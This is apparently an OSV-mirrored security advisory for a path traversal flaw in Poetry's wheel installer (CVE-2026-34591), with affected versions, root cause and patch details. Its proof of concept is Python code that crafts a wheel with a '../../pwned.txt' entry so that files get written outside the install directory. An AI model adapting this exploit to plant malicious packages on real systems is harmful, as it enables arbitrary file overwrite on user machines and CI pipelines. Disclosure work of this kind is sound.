---
id: CVE-2026-34591
aliases:
  - GHSA-2599-h6xx-hpxp
  - PYSEC-2026-2260
title: Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
summary: Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N'
vendor: poetry
product: poetry
ecosystem: pip
affected:
  - 'poetry >= 1.4.0, < 2.3.3'
patched:
  - poetry 2.3.3
published: '2026-04-01'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T03:50:42.075152286Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-2599-h6xx-hpxp'
references:
  - url: >-
      https://github.com/python-poetry/poetry/security/advisories/GHSA-2599-h6xx-hpxp
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-34591'
  - url: 'https://github.com/python-poetry/poetry/pull/10792'
  - url: 'https://github.com/python-poetry/poetry'
  - url: 'https://github.com/python-poetry/poetry/releases/tag/2.3.3'
  - url: >-
      http://github.com/python-poetry/poetry/commit/ed59537ac3709cfbdbf95d957de801c13872991a
tags:
  - osv
  - pip
epss: 0.00468
epssPercentile: 0.39709
ingestedAt: '2026-07-13T18:57:51.123Z'
---

## Overview

### Summary
A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. 

### Impact
Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

### Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

### Details
Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

### POC

```
from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)
```

## Affected packages

- `poetry >= 1.4.0, < 2.3.3`

## Remediation

Upgrade to a patched release:

- `poetry 2.3.3`
